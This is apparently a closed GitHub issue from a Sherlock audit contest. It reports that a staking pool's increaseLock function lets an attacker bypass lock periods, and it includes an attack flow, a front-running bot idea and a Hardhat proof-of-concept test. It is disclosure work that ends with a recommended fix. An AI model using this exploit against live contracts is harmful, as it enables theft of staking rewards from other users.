sherlock-audit / 2022-10-merit-circle-judging

1 stars 0 forks source link

rvierdiiev - Lock time can be avoided #37

Closed sherlock-admin closed 2 years ago

sherlock-admin commented 2 years ago

rvierdiiev

high

Lock time can be avoided

Summary

User is able to avoid locking his tokens due to increaseLock function.

Vulnerability Detail

When user deposit some amount of tokens it is going to be locked for some duration. The protocol suppose that user can't withdraw that tokens during that time.

However it's possible to deposit and withdraw tokens without lock.

This is the flow.

  1. Attacker from account1 makes deposit with value 1 token for a minimum time(10 minutes). Now deposit with index 0 is created for account1.
  2. After 10 minutes attacker from account2 makes deposit for 1 token but for the max amount of time(to get big tokens multiplier). Now deposit with index 0 is for account2.
  3. Attacker from account2 calls increaseLock(0, account1.address, bigAmount). It's important here to provide account1 address as _receiver for increaseLock function. The function will check that lock for account2 0's deposit is not expired yet. Then it will mint big amount of reward tokens(because of big lock amount of the deposit) and will add minted tokens and deposited tokens to the _receiver same deposit with index 0(this is important to have deposits with same id).
  4. Attcker somehow use minted tokens(to get rewards for example)
  5. Attacker from account1 can withdraw all deposited tokens.

    Impact

    This mechanism can be used to deposit money just before reward distribution to get the share and then witdhraw deposited tokens.

It's possible to create a bot that will front run transactions when rewards are toped up to deposit big amount of stake tokens. Then after that get rewards and withdraw tokens. All this can be done in 1 block. The only condition for attacker is to have mock deposit account already expired, but not withdrawn.

Code Snippet

This code will show that this is possible

it.only("Increasing lock for another receiver will broke system", async() => {
            await timeLockPool.deposit(DEPOSIT_AMOUNT, constants.MaxUint256, account1.address);
            const startUserDepostit = await timeLockPool.depositsOf(account1.address, 0);
            console.log("account 1 deposit amount: " + Number(startUserDepostit.amount._hex));
            const startBalance = await timeLockPool.balanceOf(account1.address);
            console.log("account 1 pool token balance: " + Number(startBalance._hex));

            let startBalanceOfAnotherAccount = await timeLockPool.balanceOf(account2.address);
            expect(startBalanceOfAnotherAccount).to.be.eq(0)

            //change lock for account2
            await timeLockPool.deposit(1, 0, account2.address);
            await timeTraveler.increaseTime(60 * 10 * 2);
            let anotherAccountDeposit = await timeLockPool.depositsOf(account2.address, 0);
            console.log("account 2 deposit amount after first deposit: " + Number(anotherAccountDeposit.amount._hex));
            let timelockTokenBalance = await timeLockPool.balanceOf(account2.address);
            console.log("account 2 pool token balance after first deposit: " + Number(timelockTokenBalance._hex));

            await timeLockPool.increaseLock(0, account2.address, INCREASE_AMOUNT);
            anotherAccountDeposit = await timeLockPool.depositsOf(account2.address, 0);
            console.log("account 2 deposit amount after increase lock: " + Number(anotherAccountDeposit.amount._hex));
            timelockTokenBalance = await timeLockPool.balanceOf(account2.address);
            console.log("account 2 pool token balance after increase lock: " + Number(timelockTokenBalance._hex));

            await timeLockPool.connect(account2).withdraw(0, account2.address);

            timelockTokenBalance = await timeLockPool.balanceOf(account2.address);
            console.log("account 2 pool token balance after withdraw: " + Number(timelockTokenBalance._hex));

            const depositTokenBalance = await depositToken.balanceOf(account2.address);
            console.log("deposit token balance: " + depositTokenBalance);
        });

Tool used

Manual Review

Recommendation

Check that lock of _receiver has not expired yet. And also calculate multiplier for the _receiver based on his deposit lock duration.

Duplicate of #102